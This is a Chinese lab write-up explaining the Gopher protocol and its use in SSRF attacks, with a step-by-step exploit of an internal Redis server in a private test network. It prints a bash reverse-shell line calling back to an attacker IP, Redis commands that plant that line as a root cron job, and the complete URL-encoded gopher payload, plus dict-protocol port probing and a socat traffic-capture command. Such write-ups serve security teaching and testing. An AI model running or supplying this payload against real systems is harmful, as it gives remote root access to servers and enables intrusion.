Gopher协议

Gopher协议是一种通信协议，用于在Internet 协议网络中分发、搜索和检索文档。Gopher 协议和用户界面的设计是菜单驱动的，并在早期阶段提出了万维网的替代方案，但最终不受欢迎，让位于HTTP。Gopher 生态系统通常被认为是万维网的有效前身。

Gopher协议的格式

• 发起POST请求时，回车换行需要使用%0d%0a代替，结尾也要加上%0d%0a

• 参数之间的&需要进行URL编码

• 参数以_开头 ，否则第一个字符会被吞掉

支持Gopher协议的环境

• PHP —write-curlwrappers且PHP版本至少为5.3

• Java 小于JDK1.7

• Curl 低版本不支持

• Perl 支持

• ASP.NET 小于版本3

为什么要使用Gopher协议

在思考这个问题的时候我们可以看见这样的答案：

Gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，在构成符合Gopher协议的请求。Gopher协议是SSRF利用中最强大的协议。

这个答案有问题吗？没有问题。看完这个答案知道为什么要使用Gopher了吗？貌似还是不太清楚：

因为他强大所以使用它？那我们为什么不可以使用http等，而且说到底，Gopher毕竟是一个已经被淘汰的协议，为什么非要使用这个协议，好像并没有这方面的答案。

到底为什么使用Gopher

我总结的话，就一句话：支持多种协议且灵活，或者也可以说其没有固定的格式要遵守（这里所谓的格式指的是数据包的格式，必须HTTP数据包中必须携带哪些参数）

我们做这样一个实验，在一台虚拟机上通过nc监视3333端口，然后分别通过http协议和gopher协议去访问这个端口：

• http://172.16.12.155:3333/abc
  那么此时对端收到的是（我们通过curl请求）
  带有HTTP的请求包格式：有可能会说比如说UA什么的完全可以不带，但是GET的请求包头是一定要有的吧
  

gopher://172.16.12.155:3333/_abc（遵守gopher的格式）
再来看使用gopher协议收到的数据

没有任何的附加数据
我们通过抓包再来看一下

我们可以清楚的看见除了前4层的数据和abc外没有任何的额外的数据。

为什么SSRF中常配合Gopher协议

我们以Redis产生的SSRF为例（后面会具体描述），由于Gopher传输的数据是没有任何额外数据的，这样的好处非常的明显，在我们请求6379端口时，除了我们构造的redis格式的数据外，将不会产生任何Redis无法识别的额外数据，从而可以保证Redis顺利执行我们构造的语句，很显然HTTP做不到这一点。

所以这也提醒了我们，Gopher协议除了应用于攻击内网的Redis服务器，还有FTP等等服务器也可以尝试，而且拓展来看Gopher协议甚至可以用来写入一句话。

实验

使用SSRF结合Gopher协议攻击内网的Redis服务器。

分析

实验目的

我们最终的实验目的是要拿到目标Redis主机的Shell，要完成这一目标需要多条Redis语句相配合，我们当然可以通过Gopher协议一条一条的传递，但这样会非常的繁琐，所以我们决定现在本地搭建相同版本的Redis服务器，并抓包获取到Redis格式的报文，最后直接拼接到Gopher语句中一并传给被攻击服务器即可完成攻击。

版本信息

redis-stack-server-6.2.4-v2.rhel8.x86_64

新版的Redis服务器增加了防御机制，未成功

所需工具

• redis-cli连接Redis服务器

• nc接受反弹shell

• socat代理转发

实验架构

由于内网的Redis服务器，是不出网的（或者说其防火墙限制只有内网的主机可以访问），所以我们只能通过一台处于内外网边界的具有SSRF漏洞的主机来访问该Redis服务器。

由于处于实验环境中，我们就通过主机添加防火墙策略来阻止除”内网”限定主机以外访问，形成简单的内外隔离。

此时虽然处于同一网段，但我们在Redis服务器上添加了如下策略：

firewall-cmd --add-rich-rule='rule family=ipv4 source address=172.16.12.151 port port=6379 protocol=tcp accept'

从而禁止除172.16.12.151服务器以外其他服务器访问的请求，这样就形成了我们简单的内网的概念。

实验的步骤

对目标主机的探测

首先我们要对这台存在着SSRF漏洞的主机进行探测，首先看其URL的组成：

http://172.16.12.151:89/ssrf.php?url=

通过拼接www.baidu.com发现其可以正常访问百度，所以怀疑此处出现SSRF漏洞，接下来尝试其能不能访问内网的主机。

为了探测主机哪些端口开放，我们尝试用Burp通过不断改变端口值，来进行一个简单的探测，在这之前我先拼接了一下：

http://172.16.12.151:89/ssrf.php?url=172.16.12.136:80

并没有任何回显，所以为了准确的验证我们访问的端口是否开启，决定使用 dict协议。

dict协议又称在线网络字典协议。通过 dict协议，可以远程访问一个指定的 TCP 端口，并且会返回端口所提供的服务的部分组件信息当目标端口开放（有服务信息显示，但会报错）。

接下来通过Burp的Intruder模块来验证一些基本端口服务是否开放。

可以看出目标主机的6379``22号端口是开放的。

有了该信息就可以开始利用该漏洞啦。

本地捕获攻击流量

由于对端是6379端口也就是redis服务的端口，所以我们接下来向该端口传输的数据必须是redis规定的格式，这时候我们可以查找redis报文格式的文档构造其报文，但那样过于繁琐，所以我们直接在本地另外一台服务器上搭建redis服务**，通过在本地连接这台redis服务器，并向其发送攻击时所要发送的redis命令从而获取其流量报文，最终再配合Gopher协议完成传输即可。

可成功访问我们自己搭建的redis服务器

自己搭建的redis服务器IP：172.16.12.155

接下来，在本地KALI机上为了准确的获取redis的流量报文，我们使用socat对流量进行代理转发

socat -v tcp-listen:6379,fork tcp-connect:172.16.12.155:6379

大功告成，接下来我们只要redis-cli -h localhost就可以让连接172.16.12.155:6379流量走本地的代理啦。

反弹shell

我们最终的目的是反弹一个目标主机的shell到我们本地，我们可以将下面的语句写入到目标主机的cron中从而加入计划任务，定时反连本主机

bash -i >&/dev/tcp/172.16.12.150/3333 0>&1

为了完成该目的我们需要做两个准备：

1.在本地开启监听端口3333

2.利用上面搭建的本地redis环境将攻击需要的redis指令流量捕获并通过Gopher协议发给有SSRF漏洞的主机从而穿透发给我们要反弹shell的那台内网主机。
为了在目标主机的cron中写入计划任务，需要以下redis命令：

flushall

# 设置键值对 key-value
set deu "bash -i >&/dev/tcp/172.16.12.150/3333 0>&1"

# 设置工作目录
config set dir /var/spool/cron

# 设置保存文件的名字
config set dbfilename root

# 保存，将缓冲区内容写入到 root 文件中
save

然后转到socat的界面，我们就获得了redis数据包流量。

由于Gopher及URL编码等一些格式的限制，我们需要对上述报文进行一定的处理，最终转为：

*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adeu%0D%0A$42%0D%0Abash -i >&/dev/tcp/176.12.16.150/3333 0>&1%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A

可借助 python 脚本实现。

* 去掉> <后的一些时间、长度等描述信息。

* 如果该行只有\r，将\r替换成%0a%0d%0a，否则将\r替换为%0d%0a
*?转码为URL编码%3f
* 去掉最后的换行符\n
* 判断是否是空行，空行替换为%0a

完成攻击

至此流量捕获完毕，我们就可以通过URL直接发给存在SSRF的主机了。

反弹成功